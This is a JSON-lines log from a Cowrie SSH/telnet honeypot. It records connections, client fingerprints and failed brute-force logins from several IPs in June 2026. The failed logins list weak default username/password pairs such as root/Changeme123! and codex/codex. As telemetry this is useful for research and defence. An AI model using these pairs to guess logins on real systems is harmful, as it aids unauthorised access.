{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:41.129741Z","src_ip":"141.11.88.14","session":"a591abf680f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:41.132971Z","src_ip":"141.11.88.14","session":"a591abf680f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:41.637509Z","src_ip":"141.11.88.14","session":"a591abf680f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:42.817227Z","src_ip":"141.11.88.14","session":"a591abf680f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.54812216758728,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:44.447906Z","src_ip":"94.23.66.112","session":"0de2dda0c8f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53726,"dst_ip":"10.17.0.5","dst_port":22,"session":"a380f04f8aa0","protocol":"ssh","message":"New connection: 141.11.88.14:53726 (10.17.0.5:22) [session: a380f04f8aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:47.383170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:47.449531Z","src_ip":"141.11.88.14","session":"a380f04f8aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:47.494904Z","src_ip":"141.11.88.14","session":"a380f04f8aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"codex","password":"codex","message":"login attempt [codex/codex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:47.985737Z","src_ip":"141.11.88.14","session":"a380f04f8aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45442,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeac1d3ae188","protocol":"ssh","message":"New connection: 27.71.230.31:45442 (10.17.0.5:22) [session: aeac1d3ae188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:49.027888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:49.050756Z","src_ip":"27.71.230.31","session":"aeac1d3ae188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:49.078336Z","src_ip":"141.11.88.14","session":"a380f04f8aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:49.250444Z","src_ip":"27.71.230.31","session":"aeac1d3ae188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.42168831825256,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:51.866821Z","src_ip":"172.81.62.90","session":"681df7972190","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":52262,"dst_ip":"10.17.0.5","dst_port":22,"session":"af590634b440","protocol":"ssh","message":"New connection: 41.86.34.139:52262 (10.17.0.5:22) [session: af590634b440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:54.406333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:54.418351Z","src_ip":"41.86.34.139","session":"af590634b440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:54.626245Z","src_ip":"41.86.34.139","session":"af590634b440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme123!","message":"login attempt [root/Changeme123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:55.493176Z","src_ip":"41.86.34.139","session":"af590634b440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14770,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a8efd10be1","protocol":"ssh","message":"New connection: 141.11.88.14:14770 (10.17.0.5:22) [session: 04a8efd10be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:55.969669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:56.145442Z","src_ip":"141.11.88.14","session":"04a8efd10be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:56.148872Z","src_ip":"141.11.88.14","session":"04a8efd10be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#12345","message":"login attempt [root/admin#12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:56.492545Z","src_ip":"27.71.230.31","session":"aeac1d3ae188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:56.707030Z","src_ip":"41.86.34.139","session":"af590634b440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:56.763244Z","src_ip":"141.11.88.14","session":"04a8efd10be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:57.902247Z","src_ip":"141.11.88.14","session":"04a8efd10be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:58.005643Z","src_ip":"27.71.230.31","session":"aeac1d3ae188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":18078,"dst_ip":"10.17.0.5","dst_port":22,"session":"803dadbd260d","protocol":"ssh","message":"New connection: 141.11.88.14:18078 (10.17.0.5:22) [session: 803dadbd260d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:03.771542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:03.798938Z","src_ip":"141.11.88.14","session":"803dadbd260d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:03.871547Z","src_ip":"141.11.88.14","session":"803dadbd260d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.92645597457886,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:03.905653Z","src_ip":"172.81.62.90","session":"8f82d030b8c7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01","message":"login attempt [user01/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:04.343623Z","src_ip":"141.11.88.14","session":"803dadbd260d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:05.508560Z","src_ip":"141.11.88.14","session":"803dadbd260d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.98791742324829,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:11.093890Z","src_ip":"128.199.8.54","session":"62b4c11ecf9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":47048,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0f4ba6bc123","protocol":"ssh","message":"New connection: 141.11.88.14:47048 (10.17.0.5:22) [session: e0f4ba6bc123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:12.018495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:12.079787Z","src_ip":"141.11.88.14","session":"e0f4ba6bc123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:12.156026Z","src_ip":"141.11.88.14","session":"e0f4ba6bc123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:12.742176Z","src_ip":"141.11.88.14","session":"e0f4ba6bc123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:13.838027Z","src_ip":"141.11.88.14","session":"e0f4ba6bc123","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61804,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc8ecbb0592d","protocol":"ssh","message":"New connection: 141.11.88.14:61804 (10.17.0.5:22) [session: bc8ecbb0592d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:19.345601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:19.431561Z","src_ip":"141.11.88.14","session":"bc8ecbb0592d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:19.435225Z","src_ip":"141.11.88.14","session":"bc8ecbb0592d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.16998648643494,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:19.625374Z","src_ip":"128.199.8.54","session":"938bd3fc208f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321","message":"login attempt [root/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:20.425852Z","src_ip":"141.11.88.14","session":"bc8ecbb0592d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:21.563205Z","src_ip":"141.11.88.14","session":"bc8ecbb0592d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61886,"dst_ip":"10.17.0.5","dst_port":22,"session":"963c51e58002","protocol":"ssh","message":"New connection: 141.11.88.14:61886 (10.17.0.5:22) [session: 963c51e58002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:27.216931Z"}
